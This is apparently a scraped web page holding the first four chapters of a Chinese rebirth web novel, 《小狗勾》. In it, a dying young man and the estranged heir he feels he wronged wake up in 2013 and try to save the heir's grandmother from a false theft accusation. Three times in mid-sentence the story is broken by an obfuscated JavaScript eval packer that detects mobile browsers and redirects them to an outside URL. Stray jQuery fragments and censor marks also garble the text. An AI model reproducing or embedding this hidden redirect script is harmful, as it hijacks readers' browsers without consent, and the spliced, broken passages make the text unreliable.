《小狗勾》 1. 简知 今天就是除夕了。 一大早,简知就听到隔壁病房陆陆续续有人进出的声音,是病人们的家人来接他们回家过年。 即使这层楼的病患一年到头都得住在医院,可谁不想着能在过年时与家人团聚,一起好好过个年。 除了简知。 简知坐在窗边,垂眸看着半山医院白雪皑皑的后花园,心里并不抱什么奢想。 路觉铭恨透了他,恨到整年都不愿意来看他几次,每次过来,也都是冷肃着脸,眉头紧蹙,像一面被风雨捶打得狰狞凶狠的盾牌,直冲冲敲撞在简知眼底。 路觉铭在外待谁都风度翩翩,唯独对简知,从没给他过好脸色。 简知胆小,更不敢抬头看一眼路觉铭,连被路觉铭冷漠的目光注视,都觉得浑身紧绷,如芒在背。 因为他知道,他这辈子都欠了路觉铭的。 他欠路觉铭两条人命,一个家,十七年的人生,血海深仇,怎么可能随时间过去轻易抹消。 护士来查房时,帮他打开了电视。 眼下电视上正播放着隔壁本地台的除夕特别节目,采访本市各色人物,让他们说说新年祝辞与愿景,有普通人,也有洛溪名流,轮番登场,红火热闹。 主持人报出路觉铭的名字时,简知抬头看了一眼。 路觉铭的镜头用手机拍摄,与电视台实时连接。画面比起其他人,显得不那么清晰,但依旧能看到他那张冷酷凌厉的面庞,眉骨锋利硬朗,像一把剖开人心的刀。 他英俊得极有攻击性。 主持人对路觉铭的介绍是本市知名企业家,岱宗集团执行总裁、董事会主席。 岱宗是洛溪土生土长的千亿强企,这两年路觉铭又投资扶持了洛溪市许多公益事业,因此他很受洛溪市民的欢迎。 而正拿手机给路觉铭拍摄的,是他的助理。 画面中,路觉铭正坐在异国的机场贵宾候机室里,脖子上垂着深色羊绒围巾,暗蓝毛呢大衣下是一套昂贵西装,双眼虽有些血丝,但那张脸上却没有太多表情,连一丝疲惫也看不到。 他看向镜头,先是说些拜年的吉利话,然后又解释自己现在出门在外,无法回到洛溪摄制现场给大家拜年,最后又用英文说了几句祝辞。 简知想,谁能想到说话这样妥帖的路觉铭,到十七岁都还是个哑巴。 助理提示说:“路总可以和大家分享下您的新年愿望吗?” 路觉铭顿了下,沉默一秒,看向镜头的双眼黑而无声。 简知心里一紧,只觉那双眼睛几乎要剔开他的头皮,他怕极了,双手不自觉紧握,看都不敢看电视屏幕。 只听到电视扬声器里传来路觉铭的声音:“我希望人各有归,尘埃落定。” * 简知明白,是时候了。 之前每年,路觉铭至少会在除夕时来把他接走,今年路觉铭都不肯再来看他。 或许是耐心已告罄,又或许是已厌恶他至极点。 那么他还有什么借口,这样死皮赖脸地拖累着路觉铭。 简知打开手机。 微信里简知的同学群难得活了过来,多年未见的同学们互发过年问好,朋友圈里也是一片喜气洋洋。 简知点进去看了几个人最近发的朋友圈。他们有些还在国外名校读书,有些已成家立业,大多生活幸福风光。 这些朋友圈照片下,一些共同好友还在相□□论打趣,聊成一团。 与他们相比,简知黯淡得就像个消失在回忆里的隐形人。 也合情合理。谁还愿意记得那个连高中都没读完就辍学,只有初中学历、后来就无声无息的简知。 在所有人前途光明的生命里,简知只是一个少年时淡淡的影子。 他们不会知道简知是怎样庸庸碌碌、浑浑噩噩地过完了剩下的这十年,他们不知道简知离开学校后,就坠入了地狱。 简知走出楼层时,被护士厉声斥责。 她说:“外面雪这么大,你还去花园?到时候冻感冒又要进 ICU!别出去了!” 简知知道她很嫌弃他。他这几年并发症日渐增多,常常呕吐、腹泻、感染、高烧,徒增了她们那么多工作量。 有时候他会失禁,也是她们来照顾他。 简知已习惯所有人对他的鄙薄,他也知道这是自己应得的。 但他心里对她们只有感激和抱歉,所以被凶也不愿反驳,只是讨好地笑笑,小声说:“对不起呀……但我想出去看看雪,看一眼少一眼啦。” 护士表情沉下去,语气还是不好:“那你在这等着,我去给你拿个轮椅,我推你出去。” 简知乖乖点头,目送着她转身。 随后迅速走向电梯,按下了楼层。 在下降的电梯里,简知心脏怦怦跳,连呼吸都艰难,像被人扼住胸腔,只能张开嘴,小口汲取空气。 他已经策划这场出逃整整三个月。 除夕这天,值班医护都很少,最有利于他悄悄离开医院;而这之前,为了让护士相信他只是出去走走,简知已经连续几个月,定时去花园散步。 时间,地点,动机,都很完美。 那么笨的简知,居然也能策划一桩惊天动地的大事。 简知的心脏都快跳出胸口,胸膛一涨一涨发闷,面色青白。 可他的心情却是愉快的。 他想,他终于可以不去连累任何人了。 他知道自己很快就会死,等他死了,路觉铭还要为他收殓、下葬、上坟,有得麻烦,而医护们也要为了在他死前照料他,忙活好一阵。 既然如此,为什么不干脆找个没人能发现的地方,偷偷死掉呢? 简知想起小时候看过的宠物纪录片。里面说,为了不让主人看到自己的尸体,猫咪临死前,都会离开家,找个角落安静地躲起来,独自迎接死亡。 简知想,猫猫是对的。死亡是该独自面对的事情,无需他人陪伴。 他这一生活得踉踉跄跄,现在终于挣到个干净利落的结局。 他揣着兜里仅存的几百块钱现金走在街上。 天上一直下着雪,路边人人都有同伴,和亲人、朋友、爱人几人成行,他们都有归处,前方都有一个家。 只有简知孤零零的,单薄瘦弱。 但简知并不难过。就像是儿时春游的回程路上,心里满足又遗憾。 他想着,或许该去郊外,找个地方随便呆几天就行,那么他首先该打辆出租车…… 不行,这可能会连累出租车师傅,他最好还是靠自己走…… 他边走边想,过红绿灯时,一辆突然加速的小轿车却从旁边直冲而来。 刹车声拉成一声凄厉尖叫—— 简知听到了一声巨响。但他没反应过来,这是他的身体发出的声音。 紧接着他就感觉身体好像发生了些变化,他觉的自己的脚好像在路那边,可手却在另一边,大脑陷入了奇异的、超脱寻常体验的状态。 轻飘飘的,并不痛苦。 他不知道自己躺在血泊里,生命只剩下终点。 漫天的大雪纷纷扬扬,白得干净、明亮、轻柔。 真美啊…… 像简知小时候很喜欢的,水晶球里的雪花。 简知被血滴溅湿的眼睫轻轻颤了颤。 他看到这个世界的最后一眼。 是不远处路觉铭几乎发狂的表情,路觉铭正疯了般朝他冲过来。 幻觉。 简知想。 * 柔柔的黄色车顶灯像羽毛,拂在简知面颊。 简知被痒醒了,睫毛颤巍巍地用力抬了抬,张开双眼,看到多年未见的妈妈的面容。 简知一下呆住。 “妈、妈妈…… ” 他喃喃着想,这个梦怎么会那么好? 难道临死前还有这种最后的幸运,可以梦到妈妈? 沈晓清就坐在他身边,温柔怜爱地注视他,隔着车座的中央扶手箱,摸了摸他的脸:“知知醒了?正好,我们快到家了。” 她笑意盈盈,如简知记忆中般温婉美丽。 简知马上就哭了。 他含泪四顾,看到自己正坐在熟悉的车里,是小时候家里专门接送他的那辆劳斯莱斯,而妈妈和他一起坐在后排,像年幼时无数个归家的日夜。 简知直起身,看向母亲的面容,嘴巴几次张了张,却说不出话,手都在发抖。 最后他哭着说了一句:“妈妈,你怎么才来找我……” 只轻轻一句,把他这十年的痛楚和思念,都说尽了。 沈晓清惊讶地睁大眼睛,随即赶紧抱住简知,双臂拢在他脑袋后,低声哄道:“怎么了,知知?不哭不哭,别苦,妈妈在这儿呢,是妈妈不好,你别哭啊,乖乖宝贝,是不是妈妈来接你接晚了,你不开心了?还是做噩梦了?” 人哭的时候其实不该哄,没人哄或许自己静静就哭完了,可一旦有人哄,所有的委屈和难过就都泄洪般冒出来,哭得完全停不下。 简知死死抱住妈妈,像一个迷路的孩子终于找到了家,死也不肯放开他的手。 “我真的好想你……好想好想你……你怎么、怎么就都不肯回来看我一次……” “我知道错了……我真的知道错了……妈妈……别不要我……” 沈晓清这次确定了,简知肯定是做噩梦在说胡话。 她又心疼又觉得好笑,轻轻拍着简知的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993602|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背说:“看个《钢铁侠 3》出来就这样了?你是爸爸妈妈最爱的宝贝,我们哪里舍得不要你?刚刚做什么梦啦?好了好了,别哭了,你哭得妈妈都想哭了,回家给你做了好吃的……” 她看着这个哭个不停的简知。 简知十七岁了,还是一张娃娃脸,小脸白净精致,杏仁眼弧度饱满。其实男孩子不该用“漂亮”这个词形容,但做母亲的沈晓清总把简知当小孩来看,觉得他是天底下最漂亮可爱的宝贝。 简知的睫毛都被泪水浸透,并结成尖尖几簇。 见到妈妈的狂喜仍未褪去,在心头团团滚动,可他模模糊糊地又想着:“这个梦怎么这么清晰?妈妈连我刚看完《钢铁侠》都知道…… ” 简知也不是没有这一天的记忆。 他总是记着遇到路觉铭前的所有快乐日子,紧巴巴的,挨个掰着指头回忆,像拮据的人数着家里剩下的钱,盘算着还够吃多少天。 但是这天他记得格外清楚。 2013 年的仲春,他十七岁,同一天,路觉铭的奶奶路珍妹被人诬陷偷窃,次日跳河自杀。 这事情闹得很大,不仅上了洛溪市的各大报刊,还成了微博热搜。 因为路觉铭的奶奶是在洛溪大学跳的河,不少洛溪大学的学生都在微博发声,想要让有关人士注意到这件冤案。 原本这事和简知也并没有什么关系。 但就是因为这件事,让简氏夫妇注意到了新闻上被提及的,死者收养的孤儿路觉铭。 之后简氏夫妇找到路觉铭想资助他,却意外发现了路觉铭才是他们真正的儿子的事实。 简知曾经有过那么一个念头。 他在想着这天,他无忧无虑地去看完电影,开开心心被妈妈接回家,幸福地迎接着属于他的家的时候,路觉铭七十多岁的奶奶,正站在一个不属于她的校园里,被千夫所指,艰难地辩证着自己的清白。 而知道奶奶跳河去世的时候,路觉铭心里该有多苦?又该有多少不甘、多少委屈? 简知每每想到这天,都替路觉铭和奶奶感到难过。 他这个梦啊,好不容易见一次妈妈,偏偏又这么清晰,还让他把一切都记得这么清楚。 简知都有点想怪自己,以前为什么要反反复复地回忆这些日子。 害他在见到妈妈之后都来不及再多开心一会儿,就马上揪心起这一天,他还没有认识的路觉铭。 简知在沈晓清怀里,努力擦干眼泪。 他轻轻从母亲怀抱中脱出,看着梦中母亲慈爱的面庞。 他向沈晓清扬起一个笑:“……我,我不哭了,妈妈。” 沈晓清还是很担忧:“你真的没事了?” 简知安静片刻,低下头,心里一片纠结与自我厌弃。 他想,他真的是窝囊,连做个梦,梦里都要有路觉铭的阴影,还想去帮路觉铭阻止这个悲剧的发生。 可是、可是…… 这是他的梦,为什么不能照他所希望的,让所有人都能更幸福一些? 简知猛然抬头,眼神中有了某种决心。 他转头对沈晓清说:“妈妈,我想去洛溪大学,现在就去,你先回家,我很快就回来,可以吗?” 沈晓清被他突然的转变弄得摸不着头脑,可她向来尊重简知,还是道:“啊?哦,好,那、那宝宝你先去……你要去洛溪大学干什么呀?” 简知抿起唇,让司机停车,飞快地跳下车,又深深回头望了母亲一眼:“我去做我觉得该做的事,妈妈。” 说完,他开始迈开腿,朝前面的路口狂奔起来,那是洛溪大学的方向。 就好像穿过那个路口,他就可以穿过一切过往的苦难和不幸,挽救所有人。 这是我自己的梦。临死前的梦。命运送给我的最后施舍。 他想。 在我的梦里、在我的梦里…… 至少也让我,有能力改变一些事。 至少让路觉铭,别再那么讨厌我了。 他跑到心肺充血,喉头铁锈腥气生泛。 实在是太急了,因此没有注意到脚下有一块裂开的柏油路面,脚步踩上时身体失重,他向前扑去。 可预料到的疼痛并未到来。 有人冲过来,死死接住了他。 他能感觉到对方身体炽热,像有火在烧雪,滚烫的呼吸尽数喷洒在他颈侧。 那环住他肩膀的双手,在简知皮肤表面,不停地颤抖。 简知抬起头,看到了一双分外熟悉的、遍布血丝的双眼。 天啊…… 是路觉铭! 简知的第一反应,就是跑。 紧接着,是神魂俱裂、害怕到连牙齿都在打颤。 2. 简知 简知对路觉铭的恐惧,从初见就已种下。 其实早在路觉铭被简氏夫妇带回家之前,简知就见过他一次。 那是高一下学期,他跟着李震云出去玩。 李震云是简知的高中同学,从小就经常与简知在大人们的饭桌上相遇,所以和简知也算得上发小。 但李震云从小成绩就好,简知笨,因此两人在一起玩时,简知基本上都听李震云的。 这天李震云带简知去一家新开的餐饮会所吃饭,听说那里有洛溪少见的鲁菜私房菜,只面向少部分私密客户。 他们在会所装潢得古色古香、还用干冰熏出白烟的大厅里四处闲逛,便听到了不远处杯盏砸碎的巨响。 简知连忙和李震云退到一边,远远看着。 砸碎酒杯的是个中年男人,他身边围着五六个高大的成年男子,面前还有一个略显单薄的高挑少年。 那少年皮肤黧黑,手长脚长,个头极高,但身形却很瘦削,垂着头,简知只能看到他耳廓上攀附着的一点点白色。 男人明显在教训那个少年,厉声怒斥着什么,简知他们听不清楚,只听见了对方最后一句:“你要是还想跟着我干,就把这地上舔干净。” “舔干净”三个字,简知和李震云是听得一清二楚。 简知一下瞪大眼睛。 他惊愕难言,看看身边面无表情的李震云,又看看那个少年。 自小被家里人精心保护的简知,何曾见过这种场面。 无论少年犯了什么错,大庭广众之下,让别人做这种事,实在超过了他对这世界的理解。 这个世界待简知向来偏爱,十五岁的简知,以为这世界待谁都很温柔。 他不知道对很多人来说,生活是一首残酷的歌。 他只觉心脏被气得怦怦跳,双腿已下意识往前走,他又害怕,又想去阻止。 可李震云却一把拉住他,低声道:“别过去,那些人是□□,放高利贷的,你别瞎掺和。” 简知被“□□”三个字吓到,脸色有些发白。 他连在电视上都很少看到“□□”,更何况亲眼见到□□欺负人。 那几个人身上的煞气,已足够吓退简知。 他被李震云攥住手腕,看着那个少年在所有人目光注视下,缓缓跪了下去。 少年趴在地上,居然当真在舔那溅落一地的酒液。 乌黑的后脑勺在地面上慢慢移过,薄而锋锐的双肩像一把展开的蝴/蝶/刀。 仿佛那薄薄的皮底下,是一把世界上最坚硬的骨头。 简知看得呼吸急促,都快要哭了。 因为简氏夫妇的溺爱,简知远比同龄人更晚熟和天真,还是孩子心性,一看到别人受苦,他就忍不住想哭。 李震云看他表情不对,便忙说:“别看了!我们去里面找间包厢吧——走——” 简知连动也不动,一味摇头。 他嗫嚅着:“我们去帮帮他吧……” “你别和那种人扯到一起!” 李震云也着急,生怕简知真的冲过去了,赶快揽住简知的肩膀,要把他带进里面。 那少年忽然抬头,往他们的方向看了一眼。 泪眼朦胧的简知,就这样被少年杀气腾腾的一眼,给看到呆立原地。 他像是被这一眼钉住,杏仁眼急遽张大,胸膛里空气骤减,浑身都发冷。 怎么有人能有这样的眼神? 那双眼睛黑白分明,黑眸沉得像夜里的海,一片死寂。 像绝望到了头,里面就再也没有一点光亮了。 那少年的表情在看见简知后微微变化,随即眼神中涌现出更深重的情绪,吃痛般迅速移开。 简知看不懂那是什么。 他只记得这天直到回家后,他脑海中还是会浮现出这个陌生少年的双眼。 淬满坚冰,生啖血肉的一双眼睛。 那天晚上简知翻来覆去,难以入眠。 白日所见给他的震撼太大,他同情那个少年,又害怕对方的眼神。 他们一个站着,一个跪着,一个被保护,一个受欺辱。 可简知直觉中,已隐隐有所预感,他会被这双眼睛打败。 所有人都会被这双眼睛打败。 那不是属于这糟糕世界的一双眼睛。 从那时起,他就开始害怕路觉铭了。 后来发生的种种,更让他对路觉铭的恐惧与日俱增。 到现在,哪怕在自己的梦里见到路觉铭,他都害怕到浑身发抖。 * 简知几乎被吓晕过去,面色惨白,根本不敢和路觉铭再做眼神接触。 他心想,我是疯了吗?我为什么要在梦里安排路觉铭出场? 明明这一天,路觉铭不应该出现啊! 他记得当时的报道上说,路珍妹被诬陷当日,路觉铭是不在场的。 可怎么路觉铭现在会在这里? 而且看起来…… 好像不太对劲。 ——他拢住简知双肩的手,快要把简知的骨头都箍断了。 简知直冒冷汗,不敢推开他,艰难地眨了下眼睛,冷气丝丝抽入肺腑。 他深吸了一口气:“谢、谢谢…… ” 身体随之下意识抬起右手,四指握拳,大拇指向掌心弯了弯。 他在用手语和路觉铭道谢。 这已经是他潜意识里的习惯动作了,每当和路觉铭说话,他都口手并用,这么多年,改也改不过来。 路觉铭的呼吸声一下粗重。 下一秒,简知就意识到了自己在做什么,触电般缩回手。 啊啊啊,我是大笨蛋! 简知内心喊道。 在我自己的梦里,我居然还要这么讲逻辑,生怕路觉铭听不见我说话?! 难道不是我想干什么,就干什么,我、我不用怕这个路觉铭的! 简知咬了咬牙,把手背到身后,努力当路觉铭不存在,低着头,心里发憷,拧了下肩膀,挣脱开路觉铭的双手就想走。 这是 NPC、这是 NPC、这是 NPC……简知在心中默念,借此给自己打气。 可 NPC 偏偏不按他的想法来。 路觉铭又一把拉住他的手臂。 十指深深扣入他的皮肤,把简知掐到发痛。 简知忍不住小声痛呼,那个 NPC 路觉铭便迅速松了松手,关切似的,要靠过来看有没有弄伤他。 简知条件反射般一缩。 然后发现自己已经被罩在路觉铭身体投下的阴影里。 他不得不抬起头,和路觉铭正式打了个照面。 ——他看到的是他记忆中十七岁的路觉铭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路觉铭做手语告诉他,车子没锁。 简知忙左右一看:“这、这样不好吧……我们不能偷别人的车——” 可他一想到路觉铭的奶奶如今身处险境,马上又噤声,屏住呼吸点点头,杏仁眼望着路觉铭:“那我坐后面,你快骑到学校。” 他坐到车后座上,路觉铭长腿一跨坐上车,蹬了两下,自行车便轻快地向前飞掠而去。 车后座上并不安稳,坐别人骑的自行车就这样,整架车任何一点细微的偏移,都让简知有要摔下去的感觉。 他吓得腿肚子打颤,竭力安慰自己:“没事的,这是我在做梦,我总不可能让自己摔跤——” 恰逢车轮碾过一块凸起的石子,自行车猛地上下一颠,简知下意识惊呼,等他反应过来的时候,双手已经抱住路觉铭的腰,整个人都贴在路觉铭的背上。 简知:…… !! 他明显感觉到,路觉铭的身体僵了一下。 那腰侧的两块肌肉都仿佛绷紧了,在简知手底下硬邦邦的。 少年人肩背中央凸起的脊骨,硌得简知脸蛋发疼。 路、路觉铭身上……怎么硬成这样啊。 3. 简知 简知忙拉开一点和路觉铭的距离,双手松也不是,抓紧也不是。 他尴尬得脸上有点发烫,眼帘轻轻垂下。 他心脏莫名跳得厉害,似乎与路觉铭的这种近距离接触,已经干扰到心脏的正常运作。 一定是太害怕他的原因。简知心想。 真可笑,生病的时候就怕他,现在快要死了,在梦里也怕。 他一边自嘲,一边酸楚地想,好在……他梦里十七岁的路觉铭,好像还没有开始讨厌他。 就在简知暗中埋怨自己没出息的时候,前面的路觉铭同样心绪翻涌。 少年人感受着背上传来的简知身体的热度,还有那两只抱在他腰侧的、活着的简知的手,努力装作平静,微微弓背,双腿用力地一脚一脚踩下脚踏板。 自行车在风中飞驰。 微黑的面庞上表情并不明显,可一双眼睛却亮得像烧着火光。 那样明亮的火光,几乎要灼烧一切。 他双手紧握车把,因为用力,骨节处的皮肤都在泛白。 他紧紧盯着前方路面,可眼前浮现的却仍是刚才简知打手语的画面。 ——路觉铭很清楚,在上辈子他回到简家之前,简知并没有学过手语。 简知的手语,全是跟他学的。 那么,这个十七岁的,还没有认识他的简知,又是怎么学会的“谢谢”? 路觉铭只觉有一股沸腾的热血从心室泵出,涌向浑身上下。 ……只有一个可能。 那就是简知和他一样,回到了他们的十七岁。 2013 年,奶奶还没死,简知也还没有遇到他。 路觉铭完全不敢去正视这个猜测。 这个可能太耀眼了,每个字都像在燃烧,烧得他胸膛中如有雷电轰击,要让他用尽所有的自制和忍耐,才不至于做出些他无法承担后果的事情。 他怕他但凡多想一次这个可能,一切都会如幻觉般立刻消逝。 他只能躲开这个燃烧的可能,让视线死死看向前方,无声紧咬牙关,脖颈处青筋暴起。 他载着简知,风驰电掣般驶入洛溪大学的校园。 不用问路,不用导航,从洛溪大学抵达路珍妹工作区域的这条路,他上辈子在路珍妹含冤去世后,走了不下千百遍。 他们只花了几分钟,就抵达学生宿舍园区门口。 不少人已经聚集在园区门口,从着装和年纪看,这些人既有就读的学生,也有学校的行政人员。 路觉铭猛地刹车。 简知因为惯性又向前一倒,整个人趴在了路觉铭背上,鼻子都撞痛了。 他急忙后仰,揉着鼻子,双脚踩到地上:“到、到了吗?” 路觉铭点点头,看见简知动作,心里一惊,立刻低头凑过去想检查他有没有出血。 简知忙后退了一步,松开手,和路觉铭保持距离。 路觉铭沉默地看了简知完好无损的鼻子一眼,这才没继续靠近。 他转过头,把自行车扔到一边,黑得浓郁的双眼看向这群聚集的人,轻轻闭了下眼帘。 上一辈子,无数次,他曾在孤寂的黑夜里想象过,自己身处这个场景时,能做些什么。无数次。 他设计了几十种办法、准备了数百种辩词,总有一种,可以救下那时被所有人看着,百口莫辩的奶奶。 然而那些都只能是想象中的预演,他最终什么都无法改变。 他只能平静地接受命运送给他的又一记重锤,就像他平静接受噩运的每一面。 上辈子路珍妹出事的时候,他正跟在魏潇身边做事,对此一无所知。 本来路珍妹年纪太大,超过七十岁,已经无法再受雇工作,而且路觉铭也一直不肯再让她出去工作。 可是她从来都不是个能闲的住的人,从道路环卫工作上退下来后,她四处托人打听帮忙,才最终在找到这份在大学做清洁打扫的活。 老太太脾气远比路觉铭更倔,她想做的事情,哪怕路觉铭再怎么劝阻,也非得要去做。 这份工作是外包,归属洛溪大学委托的物业公司管辖,负责清扫打理学生宿舍园区,工作强度比她之前做道路环卫低很多,路珍妹为此还很高兴。 物业公司给每个园区都分配了一个小组长,负责管理这些外包人员。 事情就出在路珍妹的直属领导,组长段方明身上。 段方明有学生宿舍楼的钥匙,每天该打扫宿舍楼内部的时间段,他就给这些保洁人员开门,而实际上,早在路珍妹他们进入宿舍楼之前,他就已经把每层楼踩过一遍了。 他专找那种忘记关门的宿舍,进去偷东西。 起初偷的都是小东西,没激起什么水花,后来胆子大了,偷钱包、偷电脑,仗着楼道里没监控,开始偷值钱的东西。 学生也察觉到了失窃事件越来越多,一直在向学校反应,后来有一天相互在群里一说,发现受害者不知凡几,便决定一起去学校保安处报案,非要在今天把小偷揪出来不可。 段方明听到风声,害怕被查到,那天便借口有事要忙,把宿舍楼钥匙交给路珍妹,让她自己开门去打扫。 而保安处主任和校警,以及学生们抵达园区的时候,便正好看到了手拿钥匙,正要进入宿舍楼的路珍妹。 * 那天到底是哪些人,对路珍妹说了什么话,才会让这个倔了一辈子、风吹雨打都不怕的老太太走投无路到跳河自尽,路觉铭后来全都查得一清二楚。 可查清楚了,又有什么用呢。 段方明不过是被判了十几年徒刑,可路珍妹却只能永远沉在了那条冰凉的河底。 但现在,路觉铭回来了。 他真的站在了这幅景象前,他有足够的机会和能力,改变这一切。 路觉铭是在昨夜惊醒的。 大梦觉醒,梦里仓惶潦草地过完短短一生,尘世辗转,终究落得万般遗憾。 临走前,他手里仍然握着一张年少时拍摄的褪色照片。 醒来后他花了整整一夜,才接受了自己重生的事实。 而当他意识到今天是什么日子之后,第一时间,就在早上找到了路珍妹。 他让路珍妹今天不要去宿舍楼打扫,又告诉她不要接过段方明递来的钥匙。 他说万一学生丢了什么东西,她会解释不清楚。 路珍妹脾气虽然古怪又倔,但起码脑子还很清楚,路觉铭的话不无道理,她点点头,也就应下。 但这还不保险。为了保证路珍妹今天不去宿舍楼,路觉铭还用了点小手段。 他托认识的人帮了个小忙,让今天负责清运的垃圾车先去了洛溪大学南片区,所以宿舍园区这边的垃圾今天堆得格外多。 路珍妹一整个上午和下午,都在忙着做垃圾分类,根本来不及去宿舍楼打扫。 尽管如此,他还是不放心,仍然亲自来到这里,确保路珍妹,再也不会一个人,面对所有人的责难和奚落。 * 园区门口闹哄哄。 保卫处主任横眉怒斥,和几个校警大声道:“查监控!门口的监控呢!找不到贼,我们就把这七天进出园区的所有监控都看一遍,总能抓出那个贼!” 学生们也应和:“对啊,早就该查了!我们都丢了多少东西!” 简知和路觉铭走过去,在混乱的人群外围观察事情进展。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993604|178070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >简知踮起脚,用目光四处寻找路珍妹的身影。 他没见过路珍妹的照片,只知道是个老太太,可这群人里面,怎么看都找不到一个老太太的身影……奇怪,路珍妹呢? 倒是在那几个工作人员之中,有个面庞浮肿的中年男人在听到保卫处主任的话时,脸色变了变。 他视线畏缩,在人群里移来移去,看动作似乎想离开,可挤在一堆的学生没有给他让出路。 路觉铭也一眼看到了这个中年男人,眼神中迅速升起一抹刀光剑影般的寒气。 他盯着人群中的段方明,面色迅速沉下去。 他按了下前面一个学生的肩膀,那学生转过头,看到人高马大又面色不善的路觉铭,也被吓了一跳,下意识往旁边让了一步。 路觉铭便这样走进人群。 不知道为什么,他明明一个字都没说,但逼近一米九的身高和凌厉硬朗的五官,天然给了他某种让人畏惧的气势,使得学生都不敢靠近他,纷纷让开。 简知也鼓起勇气跟在路觉铭身后,走向人群中央。 保安处主人见到走来的路觉铭,没好气地问:“你们是什么人?校外的,来干嘛?” 路觉铭缄默着,刚要打开手机,便听到简知在他背后小声地说:“我们是…… 来帮你们抓住小偷的。” 路觉铭有些意外地,顿了顿动作。 保安处主任皱眉看着他们:“帮我们?你们是不是知道些什么?” 所有人的目光顿时齐刷刷看向二人,看得简知立刻头皮一紧,紧张得心快跳出喉咙眼了。 但他不能怕。这只是梦,这只是梦。 简知心中默念,然后努力从路觉铭身后探出头,刚要开口,路觉铭就已经伸手,拦在了简知前面。 简知立刻闭上嘴巴。 保安处主任对简知探寻审视的目光让路觉铭有些不开心,他不想让简知被这些人这样看着。 他拿出一支破旧的枣红色按键手机,快速打了几个字,然后让手机用语音朗读:“小偷可能是园区里面的人,门口监控看不到。” 他这话一出,人群里的段方明脸色骤然发白! 他不知道这两个人是谁,但他真的感觉到了危险,他们难道真的知道是他偷的东西? 段方明又急又怒地瞪了路觉铭一眼,却正好与路觉铭冰冷的目光相对。 路觉铭看着段方明,面无表情,风平浪静。 段方明却被这平平淡淡的一眼看得打了个哆嗦,腿都发软。 这时简知终于发现了不远处正在往这里走过来的路珍妹,他赶紧拉住路觉铭的袖口,路觉铭随之回头,看见了路珍妹。 路珍妹个头矮小,穿着保洁的暗蓝色马甲,脚上一双干净的黑布鞋,一头银发齐耳,虽然瞳眸已经有些老年泛白,但看上去还很精神。 她走路的步伐很特殊,一颠一颠,小步快走。 简知遥遥望着她,眼睛一眨也不眨,认真注视着她的面容。 他看得很慢,很仔细。 像要好好认识路珍妹一样。 就是这个老太太,在十七年前,从垃圾桶里捡到了襁褓中被冻到失聪的路觉铭。 而丢弃路觉铭的人,是简知自己的亲生父母。 或许本来该被路珍妹捡到,并抚养长大的人是他。 ……他欠路觉铭的这十七年,这个残缺的人生,到底该怎样,才能还清呢? 幸好他这一辈子,很快就过去了。 这个梦做完后,他就要死掉了吧。 只是。 简知忽然捕捉到什么奇怪的念头。 他临终前的梦境里……可以幻想出自己从来没见过的人吗? 4. 简知 路觉铭继续打字,播放:“可以查一下谁保管宿舍楼的钥匙。” 保安处主任终于觉出味儿来,想了下说:“有宿舍楼钥匙的,除了宿管,就是物业——” 所有人的目光,都齐刷刷看向段方明。 段方明外强中干地说:“你们在怀疑我?开玩笑,我在这里工作,怎么可能偷学生的东西,别听这死哑巴乱讲!” 简知有些生气地握了下拳,从路觉铭身后站上前,在路觉铭还在打字时说:“他不是哑巴!” 简知的胸膛起伏。 他个子不矮,长得又极好,白皮肤,大眼睛,有点混血儿的味道,是那种无关性别的好看,衣着看起来质地精良,贵不可言,其实光站在路觉铭背后,就已经很吸引人。 此刻站出来说话,更让所有人都注意到他。 简知脸上腾地发白。 他真的怕极了在公众场合被人注视,让他想起很多糟糕回忆,难免又要退缩,可一想到这只是自己的梦,他又有了勇气,遂反驳段方明道:“他只是还没学会说话,你凭什么说他是哑巴?而且,而且,你有什么证据,证明自己没有拿别人的东西?还是让警察来查查吧。” 简知声音不大,讲话也是一惯的温吞从容,正好能让所有人都听清楚。 他一说警察,段方明脸色就更难看,色厉内荏道:“你们两个校外的别随便污蔑人!比起我,那老太才喜欢拿别人东西吧!” 他正好看到走来的路珍妹,随手一指。 路觉铭双眼中立刻升起一股熊熊怒火。 他没想到就算这样了,段方明也能无耻到将脏水泼在路珍妹身上! 他用力按下手机九宫格按键,播放道:“去你办公室工具间。” 上一辈子路珍妹死后,路觉铭反反复复看过几百次这起案件的卷宗、报告。他知道段方明犯罪的每一个细节,巨细无靡,没有人比他更清楚。 而这时,路珍妹也走进人群,她听到了段方明在说什么,马上愤怒还击:“你什么意思,段方明?你说我偷东西?我今天在外面垃圾桶旁边做了一天,来都没来过园区,你做人说话,讲不讲道理?” 路珍妹不是软弱的个性,相反,她相当强硬。 老太太干脆戴着那双劳保手套就冲过去,要去打段方明。 段方明马上后退一步,却又被保安处主任手疾眼快地擒住,然后路珍妹的巴掌,就结结实实地落在了段方明的脸上。 “啪!” 声音清脆响亮,段方明一愣,紧接着怒上心头,骂道:“瘟逼!你敢打我?你看我不打死你——” 